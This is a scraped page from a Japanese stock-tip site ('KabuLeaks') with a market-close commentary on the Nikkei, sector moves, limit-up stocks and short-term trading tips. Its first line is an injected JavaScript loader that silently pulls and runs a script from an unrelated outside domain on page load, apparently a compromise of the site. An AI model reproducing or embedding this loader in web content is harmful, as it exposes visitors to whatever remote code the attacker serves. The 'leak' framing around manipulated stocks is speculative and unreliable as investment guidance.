;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【6/30 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【6/30 大引け】

本日の日経平均9円高と小幅4日続伸。後場は伸び悩むと徐々に上げ幅を縮小、先日の暴落からの半値戻しも達成感、明日の週末を控え利益確定売り、戻り売りに押される展開となった。業種別では、鉱業、石油石炭製品、証券商品先物が値上がり上位に。一方で、繊維製品、水産・農林業、医薬品が値下がり上位となった。

個別では、NTT空間情報とデジタル地図サービス事業で連携の【4814ネクストウェアや【3906】ALBERTの 「smarticA!DMP」とDACの「DialogOne」のシステム連係を材料視されストップ高。また、後場から材料確認できないものの、短期筋による仕掛けか【7608エスケイジャパン。【9625】セレスポと中国・四国地方におけるイベント・プロモーション活動に関して業務提携すると発表した【2156】セーラー広告などが一時ストップ高の大幅高に。

その他、特許査定材料の【4588オンコリスバイオファーマ。デジタル教科書関連の【3933】チエル。民泊関連の【1435】インベスターズクラウドなどの上昇、人気を集めた。

明日も引き続き日経平均半値戻し達成からの戻り売りへの警戒。これにプラスして週末要因も意識されることから積極的には売買を手控えられる可能性が高い。今晩の欧米市場次第でもあるが、日経平均GUスタート時はやや様子見慎重に。逆に大きくGDスタートとなるような場合は寄り付き一旦押し目拾い、戻りを売るなど臨機応変に対処。